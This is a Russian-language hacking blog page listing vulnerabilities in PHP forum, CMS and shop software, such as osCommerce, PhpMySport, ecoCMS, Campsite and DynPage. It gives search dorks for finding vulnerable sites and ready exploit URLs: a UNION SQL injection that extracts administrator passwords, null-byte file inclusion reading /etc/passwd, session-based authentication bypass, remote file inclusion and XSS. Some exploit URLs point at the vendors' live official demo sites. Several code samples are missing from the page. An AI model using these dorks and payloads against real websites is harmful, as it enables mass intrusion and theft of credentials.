[PHP-инклудинг и allow_url_include] [Проблема с WUBI и Ubuntu 10.04] [Как был взломан antichat.ru] [AntiDDoS в LightHTTPd] [Sleep() в слепых SQLi] [Уязвимости разных движков] [Уязвимости Joomla] [Уязвимости Invision Power Board] [Уязвимости GuppY CMS] [Уязвимости 1024cms] [Уязвимости IceBB] [Уязвимости Zeus Botnet] [Web-разведка] [Сканер уязвимости nginx] [Анализ текстов] [SSI Web-shell] | Уязвимости в разных скриптахЭти уязвимости были когда-то мною опубликованы на античатеПродукт: AEF (форумный движок) Сайт: http://www.anelectron.com Дорк: "Powered by AEF" (250 000 результатов) Уязвимость: Активная XSS. Уязвимость присутствует из-за небезопасной обработки BB-тегов. Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода. Пример эксплуатации: Код:
На выходе получаем: Код:
Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега: Код:
Продукт:: Beehive (форумный движок) Сайт:: http://beehiveforum.sourceforge.net/ Дорк:: "Project Beehive Forum" (?) Уязвимость:: Активная XSS. Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении. Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html): PHP код:
В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет): Код:
Продукт:: CompactCMS
Сайт:: http://www.compactcms.nl Дорк:: "Maintained with CompactCMS" //тут была глупая ошибка, Strilo4ka заметил... Уязвимость:: Исполнение произвольного кода. Требования: права админа (админка по умолчанию не запаролена - /admin) Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл. Уязвимость: E-Mail send XSRF (CSRF) Vulnerability. Описание: Собственно, работает лишь в phpbb2, в 3 версии уже закрыта. Эксплойт: Код:
Проверял на уязвимости один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию: advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1-- Она почему-то в багтреках не упоминается, но в отчётах о патчах есть. вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53 http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/ Стало быть версии до этой уязвимы. PhpMySport
Site: phpmysport.sourceforge.net Vulnerability: Local Files Include Severity: High Needs: magic_quotes=Off (or null-byte alternative) Exploit: /index.php?lg=/../../../../../../../../../etc/passwd%00 Reason: В index.php есть строчки: PHP код:
Константа LANG определяется в config.php и изначально берётся из get-параметра lg. Таким образом, мы можем написать слеш /, тем самым закрыв директорию, затем подняться вверх, расширение отрезать нулл-байтом. Если не удаётся заинклудить, вылезает ошибка "ERREUR : Language not supported/Langue non supportИe". Вывод php-ошибок отключён. Example: На официальном сайте http://phpmysport.sourceforge.net/demo/index.php?lg=/../../../../../../../../../etc/passwd%00&skin=defaut ecoCMS
Site: www.ecocms.com Vulnerability: Authorization bypass Severity: High Needs: register_globals=On Exploit: /admin.php?_SESSION[user_in]=1 Reason: В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль: PHP код:
В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль. Следовательно. мы можем не передавая post-данные с логином и паролем, установить значение переменной сессии при register_globals=On. Vulnerability: XSS Severity: Low Needs: - Exploit: /admin.php?p=%3Cscript%3Ealert()%3C/script%3E Reason: get-параметр p в admin.php недостаточно фильтруется. Код приводить смысла не вижу) Campsite (3.3.5) Site: campsite.campware.org Vulnerability: Remote File Inclusion || Local File Inclusion Severity: High Needs: register_globals=On Exploit: /tests/test_autopublish.php?GLOBALS[g_campsiteDir]=RFI ; /classes/ObjectType.php?GLOBALS[g_campsiteDir]=RFI Reason: В tests/test_autopublish.php, /classes/ObjectType.php и в других скриптах часто используемая глобальная переменная g_campsiteDir не определена. Она определена лишь в скрипте set_path.php, который в самом вышеуказанном скрипте не подключается. Участок кода в tests/test_autopublish.php: PHP код:
Участок кода в /classes/ObjectType.php: PHP код:
Следовательно. мы можем установить значение глобальной переменной и заинклудить произвольный файл при register_globals=On. При allow_url_include=On/Off имеем RFI/LFI соответственно. Для проведения LFI скорее всего понадобится ещё и magic_quotes_gpc=On для того, чтобы обрезать лишнее нулл-байтом. При register_globals=Off имеем лишь раскрытие путей. DynPage
Site: www.dynpage.net Vulnerability: Arbitrary files content disclosing Severity: High Needs: - Exploit: /content/dynpage_load.php?file=/etc/passwd Reason: Файл /content/dynpage_load.php не защищён от прямого просмотра. То есть в других местах, где собственно идёт вывод контента с помощью этого скрипта есть какая-то фильтрация, а здесь без никаких ограничений имеем читалку. Уязвимый код /content/dynpage_load.php: PHP код:
Example: на официальном сайте: http://www.dynpage.net/dynpage/content/dynpage_load.php?file=/etc/passwd |
| © BECHED |